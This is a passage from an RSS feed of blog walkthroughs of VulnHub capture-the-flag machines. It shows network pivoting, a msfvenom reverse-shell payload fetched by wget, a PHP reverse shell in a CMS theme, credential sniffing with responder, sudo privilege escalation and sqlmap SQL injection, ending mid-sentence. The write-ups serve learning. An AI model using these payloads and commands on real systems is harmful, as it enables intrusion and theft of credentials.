changing.”</blockquote><p>So I was expecting something odd, but was assuming there was a service or something that pinged something over time, or a port that kept changing or something like that. But this was just odd. I am root, and well.. yeah..</p><p>A million questions raced through my mind…</p><p>What was I suppose to do here?</p><p>Am I root of the wrong box?</p><p>Is this a box in a box or are there other boxes?</p><p>What’s the point of being root anyway?</p><p>What does any of this have to do with time.</p><p>Is time even real?</p><p>Why am I even here?</p><p>So like all unanswered questions, I turned to google. “Hey google, what is the purpose of life?” And the best I could come up with was….</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FTo5wKh9Ypec%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DTo5wKh9Ypec&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FTo5wKh9Ypec%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/aae3e8170139bc8f6388c28a019e4476/href">https://medium.com/media/aae3e8170139bc8f6388c28a019e4476/href</a></iframe><p>At this point I briefly explored my theory that there might be another box and checked the network configurations.</p><blockquote>ifconfig</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*dBamJrnl87qB0PMg9kRjGg.png" /></figure><p>This is interesting. If you remember from our set up, the VM is running on our NAT vmnet8 network, which has an IP range of 172.16.186.1–255 and our target resides at 172.16.186.196 on that network.</p><p>But when we run ifconfig from our shell, the victim’s ip is 172.19.0.10. That’s certainly not its’ address on our network.</p><p>I then tried to run nmap only to find it not installed. Whats more I couldn’t seem to find a valid package manager to use to install it.</p><h3>Not Alone : Phone a Friend</h3><p>At this point I was stuck and needed a hint.</p><p>Luckily one of the authors of this particular box and I, already follow each other on twitter, so we have a rapport. ;)</p><p>@4ndr34z writes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*OnXXBjVzBLthfTACczBToQ.png" /></figure><p>Obviously I took 4ndr34z’s advice and navigated back to the directory I had landed in and checked out the source code.</p><p>First I took a look at main.py.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*B-4SCruFXj5luD6M8K-D4Q.png" /></figure><blockquote>ftp.login(‘someuser’, ‘b232a4da4c104798be4613ab76d26efda1a04606’)</blockquote><p>Well that’s interesting. It appears our upload function is using an ftp service with the above credentials.</p><p>The fact that the credentials are being passed as parameters to the ftp login function, lead me to believe that password was probably plain text but I love decryption so I took a crack at it. I discovered that it was a combination of SHA and Ascii hex and decoded it to be “mofo” just in case.</p><p>Saving that info to our notes, we move on and take a look at the rest of the code. But nothing really stood out to me.</p><p>Ftp credentials seem like great pivot point, but I was left wishing I had nmap available to me in this shell.</p><p>I dug around a bit trying to find a package manager again and eventually stumbled upon apk. Apparently this docker image runs <a href="https://www.cyberciti.biz/faq/10-alpine-linux-apk-command-examples/">alpine linux package manager</a>.</p><blockquote>apk add nmap</blockquote><p>And bang we have nmap, though a quick test showed it to be a little slow, so i decided to just scan 20 addresses.</p><blockquote>nmap -sS 172.19.0.1–20</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*cYEFDgFPU5OGF2O_ZD5dHg.png" /></figure><p>We this is interesting. We have 2 other IP addresses.</p><blockquote>172.19.0.1 (ports: 22, 80, and 8080)</blockquote><p>and</p><blockquote>172.19.0.12 (port: 21) ←FTP BINGO!</blockquote><p>Well obviously our next target is 172.19.0.12:21, but let’s pause and get our barrings for a minute..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*8uxvoARPjrDMFzFY_BUpmw.png" /></figure><p>We started this journey hours ago. What’s another minute right?</p><p>Sure we got a “root” shell pretty fast and true we knew in our hearts, that couldn’t be the end. And it wasn’t, but we just spent another hour only to find ourselves here?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*O_FGBhnk0ZZf4fF1is75nw.gif" /></figure><p>We are enumerating IP addresses and finding open ports with nmap. It’s like, we have only just begun.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F__VQX2Xn7tI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D__VQX2Xn7tI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F__VQX2Xn7tI%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/9e4055a82b47fc25da17ae9a8f6327dd/href">https://medium.com/media/9e4055a82b47fc25da17ae9a8f6327dd/href</a></iframe><h3>Switch Gears : Pivot via FTP</h3><p>Ignoring for the moment 172.19.0.1 (which is likely our ultimate target), I moved to that ftp flag waving box at 172.19.0.12</p><p>In my poking around earlier I had taken a peek in the /bin/ folder where I did see <a href="https://www.ncftp.com/ncftp/"><strong>ncftp</strong></a> was installed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*Z5OIYrAOpCXRJN9mEmHbzQ.png" /></figure><p>Looking back at the ftp credentials we found in the main.py script, we attempt to log into our new target.</p><blockquote>ncftp -u someuser 172.19.0.12</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*FNHDPGnmrghqCBoiAIEFEA.png" /></figure><p>Awesome we are in! Though I will admit that I was kind of hoping the password failed so I could justify spending time decoding it to “mofo” earlier. <br>Now I’m left wondering if it was actually encrypted or I just happened to generate what kind of looked like a word, “mofo.” The world may never know.</p><p>Connected, we list our working directory to see where we are at.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*befe4ogJqW5y7dgbdtZACw.png" /></figure><p>Oh no! It looks like we are in the same damn upload directory.</p><p>All I feel is shame as I am forced to look at the mess I made with all my failed injection attempts.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FXOzHoJYKMtM%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DXOzHoJYKMtM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FXOzHoJYKMtM%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6142829dee5103b8aa56b217d1708845/href">https://medium.com/media/6142829dee5103b8aa56b217d1708845/href</a></iframe><p>Because of the mess I made, I almost didn’t notice this other file called, cmscreds.txt.</p><p>I had to exit out of ftp for a minute and check back at the upload folder we had as root to see if it was there all along and I missed it. But it wasn’t.</p><p>Hmm we are in a different place after all. That’s good. so what is in this file.</p><blockquote>get cmscreds.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*lGTaavZwMLQ1WqDqJ9snBA.png" /></figure><blockquote>Admin-password for our new CMS<br>hardEnough4u</blockquote><p>I assumed at this point that these are credentials for a content management system for what ever site is on our other newly found ip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*c5osESEoP7pBdj3uA2lDmA.png" /></figure><p>Since we are in a shell and that IP is not reachable from our local machine, using those credentials is going to be tricky. For shits and giggles I tried them on the ssh port, but no luck.</p><p>I then installed curl and nikto on our victim’s machine.</p><blockquote>apk add curl, nikto</blockquote><p>I ran them pointing to ports 80 and 8080 on 172.19.01, just as we always do, to see what I could learn.</p><p>From what I could tell from the curl output, it seems that port 80 is just like our current host’s site and 8080 looks like an Apache version page.</p><p>I think we need to set up some port forwarding on our victim, so that we get at that site on 172.19.01:8080.</p><h3>Tunnel Vision : Port Forwarding</h3><p>I’m thinking at this point, if we can set up IP tables on our host, maybe we can give the outside world access to our new target.</p><p>I looked an currently iptables is not installed but a quick check with “apk list iptables” revealed it is available. I then went ahead and installed it.</p><blockquote>apk add iptables</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*HOl2iiMteZbFd-IlG-cglg.png" /></figure><p>I decided it was probably a good idea to reboot the machine now. I then hit google as my knowledge of iptables is rusty to say the least.</p><p>I found a tutorial rather quickly that looks like it is exactly what we need.</p><p><a href="https://www.debuntu.org/how-to-redirecting-network-traffic-to-a-new-ip-using-iptables/">How-To: Redirecting network traffic to a new IP using IPtables</a></p><p>But that didn’t seem to work. Following the above instructions we realize there is a permission or possible kernal problem that won’t let us even run “iptable -list.”</p><p>The internet lead me to believe that I was experiencing a common problem with iptables on a alpine linux docker image. However, it did not offer any solutions that seemed to work for me.</p><p>Stuck a second time, I reached out to twitter again. Quickly asked the vulnhub community and our friendly author, if I was on the right track and if anyone had any hints for getting iptables port forwarding working on a docker image.</p><p>And then I took a break and waited..</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FvNG4xKYiLrA%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DvNG4xKYiLrA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FvNG4xKYiLrA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/efb960414edd1864f8b52796388f3e0f/href">https://medium.com/media/efb960414edd1864f8b52796388f3e0f/href</a></iframe><p>And then the next day there was this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*J4ZsFB4Mj4-GPteNNfM81Q.png" /></figure><p>I can’t believe I didn’t think of this. I guess after our run in with nikto blowing up our terminal window, I got the impression such tools were off limits.</p><p>Ok so I quickly turned back to my host machine, fired up a terminal, and used msfvenom to generate a reverse tcp payload that I could get a meterpreter shell with. Then copied that file over to my www folder, so that I could fire up apache and use wget from the victim to shell to get the payload.</p><blockquote>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.186.1 LPORT=5555 -f elf &gt; pivot_shell.elf</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*UhpkPgL6y1Th8YAodNihEw.png" /></figure><p>Then, I fired up metasploit to set a handler for our payload on port 5555</p><blockquote>mfsconsole</blockquote><blockquote>use exploit/multi/handler</blockquote><blockquote>set PAYLOAD linux/x86/meterpreter/reverse_tcp</blockquote><blockquote>set LPORT 5555</blockquote><blockquote>set LHOST 172.16.186.1</blockquote><blockquote>run</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*sxkwHG6EQHKT-IczAwK7Cg.png" /></figure><p>Then back on our victim’s box, we grab our pay load and execute..</p><blockquote>wget 172.16.186.1/pivot_shell.elf</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*XAj4DdWz1ZnK6BStpIYFKg.png" /></figure><p>Switching back to our metasploit terminal, we find a meterpreter session!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*F40K5FFeXlvNef2kkYNLpw.png" /></figure><p>Ok great, so now we want to set up some port forwarding via metasploit so that we can get at that 172.19.0.1:8080 site.</p><p>The <a href="https://www.offensive-security.com/metasploit-unleashed/portfwd/">documentation</a> on port forwarding with metasploit is pretty straight forward.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*x9pmIRQldbAY4XXNLGZzHA.png" /></figure><blockquote>portfwd add -l 6060 -p 8080 -r 172.19.0.1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*Wi0ZoTLjbXPBfUx2Tfgg3w.png" /></figure><p>Ok with any luck we should be able to go to our target’s IP on our NAT via a browser pointing to port 6060 and see our new target’s web site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*pOmI4rs3GodMNIQFkXrnsQ.png" /></figure><p>Hmm. We must be missing something.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FWZYeb3Rk92Q%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DWZYeb3Rk92Q&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FWZYeb3Rk92Q%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/dd2155ab3399efd6865c8bcbee2b0fd1/href">https://medium.com/media/dd2155ab3399efd6865c8bcbee2b0fd1/href</a></iframe><p>I took a break and when I came back and retraced my steps, I realized I had potentially missed something.</p><p>If you remember when we did our initial network scan of the victim’s internal network, we only scanned 20 address. We got excited about finding an FTP server, and away we went. So for good measure, I ran a more complete scan.</p><blockquote>nmap -sS 172.19.0.1/24</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*KYWEqgiteP21-KJnmvaMhg.png" /></figure><p>And what do you know, a DNS server on 172.19.0.100. This seems like something we might need.</p><p>This prompted me to go back to our victims /etc/ folder and poke around at the hosts and resolv.conf files, where I noticed this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/1*WQCEH9Z02i-jNEX5fNUWkQ.png" /></figure><p>What is this?</p><blockquote>search mofo.pwn</blockquote><p>Maybe our extra credit decryption early in this challenge, that resulted in “mofo,” wasn’t a false positive after all. No matter.</p><p>At this moment, I went to “dig” deeper, only to realize dig wasn’t installed.</p><blockquote>apk add bind-tools</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*Pk9dpqvK51v4t2R9ZHngcQ.png" /></figure><p>Then we ran dig on this mofo.pwn domain.</p><blockquote>dig axfr mofo.pwn</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*tdh9rMUJ7f18RrH58oJAJw.png" /></figure><p>Lots of domains pop up, but one in particular certainly looks like those CMS credentials we found long ago, might be exactly what we need.</p><p>At this point a moment of sobriety hit me. I don’t need metasploit. I know our author suggested it, but I think we should be able to do this with ip routing right from our host/attacking machine.</p><p>First lets route everything on the victim’s internal network through our victim’s ip on our network like so:</p><blockquote>ip route add 172.19.0.0/24 via 172.16.186.196</blockquote><p>Then we add the following to our own /etc/hosts file:</p><blockquote>172.19.0.1 ourcms.mofo.pwn</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*ydlcNFxB_Umtl6YVKhQNMw.png" /></figure><p>Lets try that in our browser shall we?</p><blockquote><a href="http://ourcms.mofo.pwn:8080/">http://ourcms.mofo.pwn:8080/</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4vJ38KpIuoJBXqZz8WACTA.png" /></figure><p>Nice, and if we look back at our nikto scan of this target, we remember a nice admin/ endpoint that looked promising.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wK7mEyzEWqfib7QBhnbW7g.png" /></figure><p>And what about those credentials we had found?</p><blockquote>Admin-password for our new CMS<br>hardEnough4u</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*olemkdi04ME_83cL2bljAw.png" /></figure><p>Oh this is going to be fun! I first took a look at uploading a file, but it appeared to be disabled. Heading over to themes how ever looks promising as themes seem to be editable php files. Nice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*-nfLUVBUNwyfGjSDABVWjQ.png" /></figure><p>So we turn to our favorite <a href="http://pentestmonkey.net/tools/web-shells/php-reverse-shell">php reverse shell script</a> and set it to our victim’s shell ip and port 4444</p><blockquote>$ip = ‘172.19.0.10’; // CHANGE THIS<br>$port = 4444; // CHANGE THIS</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*F9aWU_fxxJiiK4irNNeJfQ.png" /></figure><p>Then on our victim shell we set up our listener,</p><blockquote>nc -lvp 4444</blockquote><p>before navigating over to:</p><blockquote><a href="http://ourcms.mofo.pwn:8080/Innovation/template.php">http://ourcms.mofo.pwn:8080/Innovation/template.php</a></blockquote><p>and BAM!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*4oh9Q5kKPhP2HqA11KO22Q.png" /></figure><p>We have a shell on 172.19.0.1 but we are only www-data. Have to be honest I was kind of hoping this was it, but fine.</p><h3>Game On : Privilege Escalation</h3><p>So I poked around for quite a bit here as www-data. We don’t know our own password, so we can’t do our typical ‘sudo -l’ to list sudo programs that we can run and there wasn’t much in the way of SUID files we could use either.</p><blockquote>find / -perm -4000 -type f 2&gt;/dev/null</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*VuMYfrBU6ueYlY9tj3s2rg.png" /></figure><p>I found myself stuck yet again.</p><p>Then it dawned on me! @4nqr34z told us a while back in this challenge that wire shark was a good idea. At the time it didn’t really make much sense, so we moved on to port 80, but if you remember there were various DNS queries happening on our network.</p><p>I fired up <a href="https://tools.kali.org/sniffingspoofing/responder">responder</a> to take another look, maybe there were some NTLM hashes or something we could grab for user escalation.</p><blockquote>responder -I vmnet8</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*iedJtOW8KLcaxIMvA7ynew.png" /></figure><p>And with in seconds, it spit out plain text credentials for a user named linus.</p><blockquote>[HTTP] Basic Client : 172.16.186.196<br>[HTTP] Basic Username : linus<br>[HTTP] Basic Password : friendship</blockquote><p>With credentials, we can likely get out of this unstable shell and ssh into this box.</p><blockquote>ssh linus@172.19.0.1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*fB_vZBNuhtOLIW375JXMiw.png" /></figure><p>Damn it! It didn’t work.</p><p>I tabbed back over to my responder window and found a surprise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*qR3LyQY89lOaUql6tELaeg.png" /></figure><p>It appears that in the time it took me to document my findings and try the credentials we just found, they changed. This is all starting to make sense now.. This box is dynamic and forever changing.</p><p>I felt incredibly lucky here. If I had closed out my responder window once I got credentials, I would have thought it was another dead end.</p><p>I tried the new ssh credentials and Bingo!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*uulSt3QQP02Nw5ldmPUeyw.png" /></figure><p>I am linus and apparently I have mail! So we navigate over to the mail folder.</p><blockquote>cd /var/mail</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*MXG0QKq-ZCsxX2t1D_s8nA.png" /></figure><p>Here we can cat linus’s mail and see he has quite a lot.</p><p>Scrolling through all the jokes and such we eventually find some credentials for another user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*JY_SYy3A8tzIEH2lyTTJ1g.png" /></figure><blockquote>BTW.<br>You will need my username and password when you step in for me next week<br>binny:9z4lw0r82me0</blockquote><p>So we try to ssh in with those credentials from another window.</p><blockquote>ssh binny@172.19.0.1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*2xLvy01QXX-vL3ZnxlbtEQ.png" /></figure><p>Quickly we determine that binny has some sudo power in the way of a program called cpulimit.</p><p>A quick look at cpulimit’s help page reveals it can be used to execute programs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*2Ke01uM4oEDULTuC9mIMYw.png" /></figure><p>So we give it a shot, as root.</p><blockquote>sudo cpulimit -l 100 -f /bin/sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*Nw1XpshZyMTWAR6jW9v6eA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*agHXZA4kwAJYQTEJz6Ncjw.gif" /></figure><p>We are root, and navigating over to root’s home directory we find a bash script called proof.sh.</p><blockquote>./proof.sh</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*jL3C69in5XgXrHaLgsCE4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_OXQvF84DJ3vMaySr0-cRw.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6aa3c34eabe1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking : AI Web 1]]></title>
            <link>https://medium.com/@liddell.erik/hacking-ai-web-1-dce6221e25b?source=rss-a8ee747ea1eb------2</link>
            <guid isPermaLink="false">https://medium.com/p/dce6221e25b</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Erik Liddell]]></dc:creator>
            <pubDate>Sun, 25 Aug 2019 21:40:19 GMT</pubDate>
            <atom:updated>2019-08-26T13:42:44.866Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hacking : AI Web 1</h3><p><em>Another VulnHub Capture The Flag Walkthrough.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*irALkiq2o1FuVvGywnj92A.jpeg" /></figure><p><strong>Introduction</strong></p><p>This post is part of a series of stories documenting my journey as I attempt to solve various <em>Capture The Flag </em>style hacking challenges.</p><p>The stories in this series are not meant to be <em>“How To Hack This Box”</em> tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.</p><p>Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.</p><p>At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯</p><h3>Let’s get Started : My Setup</h3><p>The challenge we are looking at in this post is the<strong> </strong><a href="https://www.vulnhub.com/entry/ai-web-1,353/"><strong>AI: Web: 1</strong></a><strong> </strong>virtual machine found on <a href="https://www.vulnhub.com/?source=post_page---------------------------"><strong>VulnHub</strong></a>.</p><p>Locally I am running the <a href="https://www.kali.org/?source=post_page---------------------------"><strong>Kali Linux</strong></a> operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on <em>vmnet8</em> and has an IP range of <em>172.16.186.1–255.</em> Obviously your IP range may be different.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*cqqNqQE8YEi5RPn3e7XI0w.png" /></figure><h3>First Things First : Recon</h3><p>First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following <a href="https://nmap.org/?source=post_page---------------------------"><strong>nmap</strong></a> command.</p><blockquote>nmap -sS 172.16.186.1/24</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*Oj1yI2mQm6zqKYRb09inpg.png" /></figure><p>Ok so not much here, just a simple http service on port 80. I also did a more advance scan, scanning all tcp and udp ports and still just port 80 open. This is probably a blessing in my experience as there are less rabbit holes to jump down.</p><p>Taking a quick look at the target in our browser, we find an empty website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*c9pL6zlxezZyqfqiw1PUcg.png" /></figure><p>It seems very obvious that they are taunting us with how proud they are about preventing even google from spidering their site.</p><p>So we of course take a look at the robots.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*SXulw5stCJpd6pAqT55fdw.png" /></figure><pre>User-agent: *<br>Disallow: <br>Disallow: /m3diNf0/<br>Disallow: /se3reTdir777/uploads/</pre><p>Well this gives us something to go on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*RsSYWhL6dULIu_Mpgs9B6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*BMw6CzkFMCWxIdSCuPc3JA.png" /></figure><p>Hmm’ those links are definitely forbidden. I then fired up nikto and did a few scans. First starting with the root address: 172.16.186.206 and then adding scans for the two directories in the disallow list.</p><blockquote>nikto -h <a href="http://172.16.186.206/">http://172.16.186.206</a></blockquote><blockquote>nikto -h <a href="http://172.16.186.206/m3diNf0/">http://172.16.186.206/m3diNf0/</a></blockquote><blockquote>nikto -h <a href="http://172.16.186.206/se3reTdir777/uploads/">http://172.16.186.206/se3reTdir777/uploads/</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*oYvh3hgHdyUnwslr-VVOlQ.png" /></figure><p>In the end this didn’t yield much aside from revealing an interesting info.php file in the ‘m3diNf0’ directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4als3hoFtn2PUGaGHMUuJg.png" /></figure><p>There seems to be a plethora of potentially useful information here so I saved this browser tab, thinking it could come in handy later.</p><p>Moving on! With our knowledge of this ‘uploads’ folder I wanted to make sure I didn’t overlook it’s parent directory, so I quickly went back to take a look.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*G9Hzke8RfDhji6hU8ve9QA.png" /></figure><p>Interesting. It appears we have a potential attack vector in the way of some simple one field form. The form suggests that it would like an ID of some sort, so I quickly throw a number in there and see what I get.</p><p>I started with inputting the number 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*eXwLT9ThofzxdzsLOJ8kXg.png" /></figure><p>So there is a user named admin. What about a few other numbers..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*eVytZVc5MItlVZUK22jxVA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/376/1*ebMN9a2Dxc2j-IqG25u5fg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*4m7H_F6cifjrtpZMwqRPJA.png" /></figure><p>Ok, so poking around was fun and all, and we learned about 3 user names apparently, but let’s get a little creative.</p><p>What happens if we throw a quotation marks at the form? I try inputting: 1&#39;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*63-M-O2XdBPKwP-RqWCkww.png" /></figure><p>And what do you know?</p><blockquote>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1&#39;’’ at line 1</blockquote><p>This is where we do a little dance as we now have a very valid attack vector.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FiNLXxDMxe18%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DiNLXxDMxe18&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FiNLXxDMxe18%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d610e64a46f116fbed671a8a5aca18d8/href">https://medium.com/media/d610e64a46f116fbed671a8a5aca18d8/href</a></iframe><h3>Lets Dance : SQL Injection</h3><p>I created a text file called aiweb_request and copied/pasted a request to this vulnerable form into that file.</p><blockquote>GNU nano 4.3 aiweb_request <br>POST /se3reTdir777/ HTTP/1.1<br>Host: 172.16.186.206<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0<br>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br>Accept-Language: en-US,en;q=0.5<br>Accept-Encoding: gzip, deflate<br>Referer: <a href="http://172.16.186.206/se3reTdir777/">http://172.16.186.206/se3reTdir777/</a><br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 22<br>Connection: close<br>Upgrade-Insecure-Requests: 1</blockquote><blockquote>uid=2&amp;Operation=Submit</blockquote><p><em>NOTE: I got this request information using Burp to intercept the request.</em></p><p>Then we throw it at our trusty automation tool, sqlmap.</p><blockquote>sqlmap -r aiweb_request — dbs</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*QUpZa5L6qWkAEpxEYT7qHQ.png" /></figure><p>Great we can see our DB names and we will just go ahead and dump the one called ‘aiweb1.’</p><blockquote>sqlmap -r aiweb_request — dbs -D aiweb1 — dump</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iIWI2P-UhGcPcFgCAwUHjQ.png" /></figure><p>Ok so we can see those three user names we found earlier in a ‘user’ table but then there is also this table called ‘systemUser’ which looks way more interesting.</p><p>For one, each user has what appears to be a simple base64 encoded password.</p><p>Base64 might as well be plain text for our concerns, as we can decode them to plain text with a simple bash command.</p><blockquote>echo “someHashHere” | base64 -d</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*HQG2dT262ViEjv1PLDdltw.png" /></figure><p>So now we have the following potential user passwords.</p><blockquote>t00r : FakeUserPassw0rd</blockquote><blockquote>aiweb1pwn : MyEvilPass_f908sdaf9_sadfasf0sa</blockquote><blockquote>u3er : N0tThis0neAls0</blockquote><p>Ok but these are no good to us. Two of them are screaming “fake” at us and even if they are real, only port 80 is open and so far we have found no admin page or anything.</p><p>So now what?</p><p>I saved these username and password combinations to my notes anyway and pressed on.</p><h3>Pivot : SQLi to Shell</h3><p>If we look at the sqlmap help page we can see a few options for getting shells.</p><blockquote>sqlmap -h</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*QjKJkF4PolJ6sCKbko72cA.png" /></figure><p>I decided to take a crack at the os-pwn option.</p><blockquote>sqlmap -r aiweb_request — dbs — os-pwn</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GcxBeCJMEkspwUxpxkfydA.png" /></figure><p>This task takes a few message prompts so I will try and walk you through it. I had to try a few times before I got it right myself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tVdD5i0207c6d7hX4rXy-A.png" /></figure><p>I went with the default php language option as we know the site is running php and opted in on the full path disclosure, to 